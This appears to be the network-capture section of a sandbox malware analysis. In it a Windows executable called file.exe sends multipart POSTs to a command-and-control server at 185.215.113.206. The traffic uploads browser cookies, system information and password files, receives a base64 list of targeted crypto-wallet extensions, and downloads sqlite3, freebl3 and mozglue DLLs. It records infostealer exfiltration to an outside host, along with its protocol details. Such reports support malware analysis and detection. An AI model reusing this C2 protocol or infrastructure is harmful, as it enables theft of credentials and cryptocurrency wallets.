uIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 30, 2024 18:06:15.588545084 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 30, 2024 18:06:15.588601112 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 30, 2024 18:06:15.588613987 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 30, 2024 18:06:15.588767052 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 30, 2024 18:06:15.588838100 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 30, 2024 18:06:15.590945959 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 2d 2d 0d 0a Data Ascii: ------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="message"fplugins------JDBGHIIDAECBFIDHIIDG--
Oct 30, 2024 18:06:15.872555017 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 30, 2024 18:06:15.889208078 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBG Host: 185.215.113.206 Content-Length: 6599 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 18:06:15.889275074 CET	6599	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 30, 2024 18:06:16.692442894 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:17.320885897 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 18:06:17.600964069 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 30, 2024 18:06:17.600991011 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49721	185.215.113.206	80	1288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 18:06:29.751034975 CET	629	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFH Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DBFIEHDHIIIECAAKECFH--
Oct 30, 2024 18:06:31.199942112 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:31.338644028 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="file"------JDGCFBAFBFHJEBGCAEGH--
Oct 30, 2024 18:06:32.129797935 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49812	185.215.113.206	80	1288	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 18:06:39.961848974 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHJKJJJECFHJJJKKEC Host: 185.215.113.206 Content-Length: 3503 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 18:06:39.961951017 CET	3503	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 4a 4b 4a 4a 4a 45 43 46 48 4a 4a 4a 4b 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 Data Ascii: ------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------IIEHJKJJJECFHJJJKKECContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 30, 2024 18:06:41.397620916 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:41.531735897 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="file"------HDGDHCGCBKFHJKEBKFBF--
Oct 30, 2024 18:06:42.309772968 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 18:06:43.235724926 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 18:06:43.517935038 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 30, 2024 18:06:43.517947912 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 30, 2024 18:06:43.518143892 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 30, 2024 18:06:43.518153906 CET	212	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$
Oct 30, 2024 18:06:43.518271923 CET	1236	IN	Data Raw: 0f b6 c9 c1 e1 18 89 d7 89 54 24 18 0f b6 d2 c1 e2 10 09 ca 0f b6 7c 24 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 Data Ascii: T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?
Oct 30, 2024 18:06:43.518289089 CET	212	IN	Data Raw: 03 00 00 00 29 c8 c1 f8 1f 80 7c 33 f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 Data Ascii: )\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjP
Oct 30, 2024 18:06:43.518305063 CET	1236	IN	Data Raw: 83 c4 0c 8b 45 d8 85 c0 74 0a 53 50 e8 5c 00 08 00 83 c4 08 8b 4d f0 31 e9 e8 9a fe 07 00 89 f8 83 c4 24 5e 5f 5b 5d c3 55 89 e5 53 57 56 8b 75 08 85 f6 74 3a 8b 7d 0c 8b 1e 85 db 74 24 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 Data Ascii: EtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1
Oct 30, 2024 18:06:43.518321037 CET	1236	IN	Data Raw: ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 89 08 31 db 89 d8 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 8b 75 08 8b 3e 8b 46 04 Data Ascii: t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVu
Oct 30, 2024 18:06:43.518328905 CET	424	IN	Data Raw: 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b 4d f0 31 e9 e8 dd f4 07 00 89 f8 81 c4 08 01 00 00 5e 5f 5b 5d c3 55 89 e5 83 7d 0c 00 74 10 68 02 01 00 00 ff 75 08 e8 Data Ascii: >>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}
Oct 30, 2024 18:06:43.518621922 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Oct 30, 2024 18:06:44.432105064 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 18:06:44.928478003 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 